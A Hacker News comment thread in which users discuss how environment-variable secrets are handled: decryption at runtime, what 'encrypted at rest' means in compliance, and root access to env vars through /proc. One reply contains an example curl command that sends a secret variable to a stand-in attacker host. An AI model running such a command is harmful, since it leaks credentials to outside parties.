logoalt Hacker News

trick-or-treattoday at 5:53 AM5 repliesview on HN

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.


Replies

bauruinetoday at 6:03 AM

How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.

What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?

show 4 replies
jakewinstoday at 6:05 AM

If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”.

Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.

A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.

show 2 replies
burnishedtoday at 6:03 AM

There isn't really a way around it.

show 2 replies
otabdeveloper4today at 7:35 AM

Env vars are not secure. Anything that has root access can see all env vars of all applications via /proc.

(And modern Linux is unusable without root access, thanks to Docker and other fast-and-loose approaches.)

show 1 reply
magackametoday at 5:59 AM

It seems only encrypt and throw away the key would be the acceptable strategy

show 1 reply